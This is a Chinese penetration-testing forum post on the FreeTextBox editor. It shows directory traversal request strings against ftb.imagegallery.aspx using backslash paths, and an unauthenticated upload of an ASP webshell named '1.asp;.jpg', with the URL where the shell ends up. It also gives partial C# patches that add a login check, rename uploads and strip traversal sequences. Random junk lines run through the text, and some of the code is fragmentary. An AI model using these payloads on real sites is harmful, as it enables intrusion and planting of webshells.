中国网络渗透测试联盟
标题:
Treetextbox编辑器遍历目录+上传漏洞
[打印本页]
作者:
admin
时间:
2013-1-18 18:22
标题:
Treetextbox编辑器遍历目录+上传漏洞
漏洞文件:ftb.imagegallery.aspx
9 c# V/ a- y! l. {4 n% _, a
x- h* z) r" g2 k8 b1 O1 f& n
漏洞一:目录遍历
! |! q2 h+ |! ~/ k9 A7 L
ftb.imagegallery.aspx?frame=1&rif=images&cif=../
. e# a. D- J- ?# l* t( g
不可以,过滤了/
/ m# o3 }: s) j3 z( E
ftb.imagegallery.aspx?frame=1&rif=images&cif=..\
+ L+ y. f- a( B# J6 ~4 _( ?. Q
可以!!过滤\符号 嘿嘿,能干什么自己知道了呗。
' ] [7 ? K8 W! ?$ c( N
ftb.imagegallery.aspx?frame=1&rif=images&cif=..\..
: c9 H$ Y+ U6 F; g6 j' @
漏洞二:上传漏洞
5 y4 u8 n4 d! @, @& C" a5 Z! a
没做登陆验证可以直接访问上传木马 FTBv3-3-1 可以直接上传任意格式的文件 Freetextbox 1.6.3 及其他版本可以上传 格式为 1.asp;.jpg 文件 上传后木马地址为http://网站地址/images/1.asp;.jpg
4 n) b# ?1 O* o l& Q
. B- C* K2 e5 F, G. u- ?6 \
5 P' y# K1 d' h( g% g4 U
漏洞修补方案:
0 Q: H0 ~; D; Q" y
/ s; ]6 O$ | ~' N8 {6 I
添加代码加登陆验证
% f5 N( z; V4 ^" @, ]% Z- X
private void Page_Load(object sender, System.EventArgs e) { string isframe = “” + Request["frame"]; Freetextbox上传图片是直接保留原文件名的,这个地方做个修改,上传文件使用时间串做文件名。
* v6 Q% W; f8 K7 }3 G0 r3 J
2 E# l# A; R/ t7 F6 m' x! P2 b
修改方式如下:
$ k' D2 ?; X' x2 N! u
; c5 [9 ?% j! |' z# e
找到 程序代码
# D+ L; P" s: Z; O! j
UploadFileNameUploadFileName = UploadFileName.Substring(UploadFileName.LastIndexOf(“\\”)+1); 在其下面添加以下代码
~: ?" r" _( b) `
//********************* UploadFileName = DateTime.Now.ToString() + UploadFileName.Remove(0, UploadFileName.LastIndexOf(“.”)); UploadFileName = UploadFileName.Replace(“:”, “”).Replace(“-”, “”).Replace(” “, “”); //by Yation.Team 2009/7/17 上传文件用时间重命名
) `. A( Y7 Y- A% E
以前已经有人公布过fb暴路径的方法 http*****.cn/helps/ftb.imagegallery.aspx?frame=1”在地址后面加上&rif=..&cif=..在访问 整个网站的目录就呈现在眼前了,下面还有上传删除等按钮… 修正方式如下: 找到 程序代码 if (cif != “” && rif != “”) {
8 a8 l0 F6 {! o0 p* | x; Q Y9 U
把RootImagesFolder.Value = rif;
6 `$ r$ i* L4 j# c% X: o$ L8 ?( W
+ ?; V+ O4 v. _! ~3 S6 d0 P
替换成
& s- W$ J1 g$ n
程序代码 //***************************** RootImagesFolder.Value = DefaultImageFolder; Array srtArray = cif.Split(‘\\’); string str = srtArray.GetValue(0).ToString(); if (str != DefaultImageFolder) { cif = DefaultImageFolder; } cif = cif.Replace(“..\\”, “”).Replace(“../”,”");
% k3 E+ h6 r! m
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2